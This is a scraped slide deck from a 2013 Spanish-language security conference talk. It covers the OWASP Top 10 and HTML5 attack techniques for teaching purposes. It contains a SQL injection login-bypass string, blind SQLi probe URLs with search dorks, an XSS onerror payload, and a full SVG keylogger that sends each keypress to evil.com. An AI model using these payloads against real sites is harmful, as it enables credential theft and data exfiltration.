Upload
pablo-garaizar
View
5.125
Download
0
Tags:
Embed Size (px)
DESCRIPTION
Presentación sobre seguridad web en la XV Jornada de Seguridad TI de Nextel S.A. en la Alhóndiga de Bilbao el jueves 27 de junio de 2013.
Citation preview
Pablo Garaizar, Universidad de Deusto
XV Jornada de Seguridad TI
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
¿De qué vamos a hablar?
● Oldies goldies: OWASP Top 10, 2013:● A1 - Injections● A2 - Broken Authentication and Session Management● A3 - Cross-Site Scripting (XSS)● …
● Nuevas vulnerabilidades en torno a HTML5.
OWASP Top 10, 2013https://www.owasp.org/index.php/Top_10_2013-Top_10
OWASPThe Open Web Application Security Project
https://www.owasp.org/index.php/Main_Page
A1 - InjectionSQL, OS, and LDAP injections
https://www.owasp.org/index.php/Top_10_2013-A1
SQL InjectionPor una comilla de nada...
SELECT * FROM users
WHERE user = '" + username + "' and
password = '" + md5(password) + "';
Username: admin' OR '1'='1
Password: whatever
SELECT * FROM users
WHERE user = 'admin' OR '1'='1' and
password = '" + md5('whatever') + "';
SQL InjectionSi no hay mensajes de error, Blind SQL Injection
● Si no hay error, se muestra la página normal.● http://myblog.com/post.asp?id=33 AND 1=1SELECT * FROM posts WHERE id = 33 AND 1=1
● Si hay error, se muestra otra página.● http://myblog.com/post.asp?id=33 AND 1=0SELECT * FROM posts WHERE id = 33 AND 1=0
● Google Hacking:– inurl:"php?id="– inurl:"asp?id="
SQL InjectionBlind SQL Injection, herramientas
● SQLbfTools: – http://www.reversing.org/node/view/11
● ./mysqlbf.exe "http://web/vulnerable.php?ID=3" "now()" "word"
● SQL Ninja: – http://sqlninja.sourceforge.net/sqlninjademo1.html
● Absinthe: – http://www.0x90.org/releases/absinthe/download.php
A2 - Broken Authentication and Session Management Compromise passwords, keys, session tokens, etc.
https://www.owasp.org/index.php/Top_10_2013-A2
A3 - Cross-Site Scripting (XSS)Allows attackers to execute scripts in the victim’s browser
https://www.owasp.org/index.php/Top_10_2013-A3
Cross-Site Scripting (XSS)Diferentes tipos y alcances
● Tipo 0: Basado en DOM. – Una página maliciosa abre una página local con permisos de Zona
Local y ejecuta código con esas credenciales.– Típicamente en phising o SPAM.
● Tipo 1: No persistente.– El más común, necesita Ingeniería Social para explotarse.– Típicamente en webs de búsquedas, se muestra a su vez la cadena
consultada (si tiene código, será ejecutado). ● Tipo 2: Persistente.
– El código está almacenado en una BD, fichero, o similar.– No requiere mucha Ingeniería Social para que la víctima lo ejecute.– Típicamente en foros o similares.
A4 - Insecure Direct Object ReferencesReferences to an internal implementation object, such as a file, directory, or database key
https://www.owasp.org/index.php/Top_10_2013-A4
A5 - Security MisconfigurationKeeping all software up to date
https://www.owasp.org/index.php/Top_10_2013-A5
The Exploit DatabaseBúsqueda de avisos + exploits ordenados por temas y fechas
http://www.exploit-db.com/
A6 - Sensitive Data ExposureSensitive data deserves extra protection such as encryption
https://www.owasp.org/index.php/Top_10_2013-A6
Seguridad a través de la oscuridadrobots.txt
http://www.casareal.es/robots.txt
User-agent: *
Disallow:
Disallow: /_*/
Disallow: /ES/FamiliaReal/Urdangarin/
Disallow: /CA/FamiliaReal/Urdangarin/
Disallow: /EU/FamiliaReal/Urdangarin/
Disallow: /GL/FamiliaReal/Urdangarin/
Disallow: /VA/FamiliaReal/Urdangarin/
Disallow: /EN/FamiliaReal/Urdangarin/
Sitemap: http://www.casareal.es/sitemap.xml
Seguridad a través de la oscuridadMeta-datos: Fear the FOCA!
http://www.informatica64.com/foca.aspx
A7 - Missing Function Level Access ControlAttackers are able to forge requests in order to access unauthorized functionality
https://www.owasp.org/index.php/Top_10_2013-A7
Proteger el cron en MoodleSimilar para v1.9, 2.x, etc.
http://docs.moodle.org/19/en/Cron
A8 - Cross-Site Request Forgery (CSRF)Forces a logged-on victim’s browser to send a forged HTTP request
https://www.owasp.org/index.php/Top_10_2013-A8
Cross-Site Request Forgery (CSRF)XSRF o "sea-surf"
● Explota la confianza que tiene un sitio en el navegador de un cliente autenticado.– El servidor: acepta las credenciales de la sesión de
usuario almacenada en el navegador.– El cliente: accede a una web que fuerza a su
navegador a realizar acciones no deseadas en un sitio en el que previamente se ha autenticado.
● Contramedida: tokens específicos en cada formulario.
A9 - Using Components with Known VulnerabilitiesVulnerable components, such as libraries, frameworks, and other software modules
https://www.owasp.org/index.php/Top_10_2013-A9
The Exploit DatabaseBúsqueda de avisos + exploits ordenados por temas y fechas
http://www.exploit-db.com/
A10 - Unvalidated Redirects and ForwardsAttackers can redirect victims to phishing or malware sites
https://www.owasp.org/index.php/Top_10_2013-A10
Ataques de redirecciónPoCs: IE/Firefox Redirection Issue – FB Oauth2 Bypass – BugCrowd
http://soroush.secproject.com/blog/2013/03/iefirefox-redirection-issue-fb-oauth2-bypass-bugcrowd/
Nuevas vulnerabilidades en torno a HTML5
HTML5 Client-side Stored XSS in Web SQL Database<img onerror="alert('Client-side Stored XSS')" src="nil">
http://www.andlabs.org/html5/csXSS2.html
HTML5 Cross Origin Requestswget --header="Origin: http://www.andlabs.org" www.andlabs.net/html5/acCOR.php
http://www.andlabs.org/html5/acCOR.php
HTML5: muchos más ataquesWeb Sockets, Web Workers, UI dressing, HTML5 tag abuse, etc.
http://html5security.org/
http://www.slideshare.net/x00mario/stealing-the-pie
Ataques sin scriptsfalso captcha usando tipografía propia
http://heideri.ch/opera/captcha/
Ataques sin scriptsFuerza bruta contra password usando CSS y Regexps
http://html5sec.org/invalid?start=0
Ataques sin scriptsLector de valores del DOM a través de CSS y Regexps (CSRF)
http://eaea.sirdarckcat.net/cssar/v2/
Ataques sin scriptsCapturador de sesión mediante CSS y Regexps
http://
Ataques sin scriptsKeylogger SVG
http://html5sec.org/keylogger
<!--injection--><svg height="0px"><image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="none"><set attributeName="xlink:href" begin="accessKey(a)" to="//evil.com/?a" /><set attributeName="xlink:href" begin="accessKey(b)" to="//evil.com/?b" /><set attributeName="xlink:href" begin="accessKey(c)" to="//evil.com/?c" /><set attributeName="xlink:href" begin="accessKey(d)" to="//evil.com/?d" /><set attributeName="xlink:href" begin="accessKey(e)" to="//evil.com/?e" /><set attributeName="xlink:href" begin="accessKey(f)" to="//evil.com/?f" /><set attributeName="xlink:href" begin="accessKey(g)" to="//evil.com/?g" /><set attributeName="xlink:href" begin="accessKey(h)" to="//evil.com/?h" /><set attributeName="xlink:href" begin="accessKey(i)" to="//evil.com/?i" /><set attributeName="xlink:href" begin="accessKey(j)" to="//evil.com/?j" /><set attributeName="xlink:href" begin="accessKey(k)" to="//evil.com/?k" /><set attributeName="xlink:href" begin="accessKey(l)" to="//evil.com/?l" /><set attributeName="xlink:href" begin="accessKey(m)" to="//evil.com/?m" /><set attributeName="xlink:href" begin="accessKey(n)" to="//evil.com/?n" /><set attributeName="xlink:href" begin="accessKey(o)" to="//evil.com/?o" /><set attributeName="xlink:href" begin="accessKey(p)" to="//evil.com/?p" /><set attributeName="xlink:href" begin="accessKey(q)" to="//evil.com/?q" /><set attributeName="xlink:href" begin="accessKey(r)" to="//evil.com/?r" /><set attributeName="xlink:href" begin="accessKey(s)" to="//evil.com/?s" /><set attributeName="xlink:href" begin="accessKey(t)" to="//evil.com/?t" /><set attributeName="xlink:href" begin="accessKey(u)" to="//evil.com/?u" /><set attributeName="xlink:href" begin="accessKey(v)" to="//evil.com/?v" /><set attributeName="xlink:href" begin="accessKey(w)" to="//evil.com/?w" /><set attributeName="xlink:href" begin="accessKey(x)" to="//evil.com/?x" /><set attributeName="xlink:href" begin="accessKey(y)" to="//evil.com/?y" /><set attributeName="xlink:href" begin="accessKey(z)" to="//evil.com/?z" /></image></svg>
Ataques sin scriptsFuerza bruta contra contraseñas mediante tipografía con “ligaduras”
http://fontforge.org/
“All user input is evil until proven otherwise”Ken Cox
Muchas gracias ;-)and... happy hacking!
Referencias● OWASP: The Open Web Application Security Project.
● El lado del mal, retos hacking, por Chema Alonso.
● Fear the FOCA! Informática64.
● IE/Firefox Redirection Issue – FB Oauth2 Bypass – BugCrowd, por Soroush Dalili.
● HTML5 Top 10 Threats Stealth Attacks and Silent Exploits, Shreeraj Shah.
● HTML5 security.
● Scriptless Attacks: Stealing the pie without touching the sill, por Mario Heiderich, Felix Schuster y Marcus Niemietz.
● The Exploit Database.
Todas las imágenes son propiedad de sus respectivos dueños, el resto del
contenido está licenciado bajo Creative Commons by-sa 3.0
http://www.zerodayclothing.com, OWASP.org, Microsoft, Exploit-db.com, Informatica64, http://www.flickr.com/photos/ivanlian/3331017290/sizes/l/in/photostream/http://www.flickr.com/photos/samout3/3411358304/sizes/l/in/photostream/
http://www.flickr.com/photos/ndanger/9731511/sizes/l/in/photostream/http://www.flickr.com/photos/marcophoto/6264497575/sizes/l/in/photostream/
etc.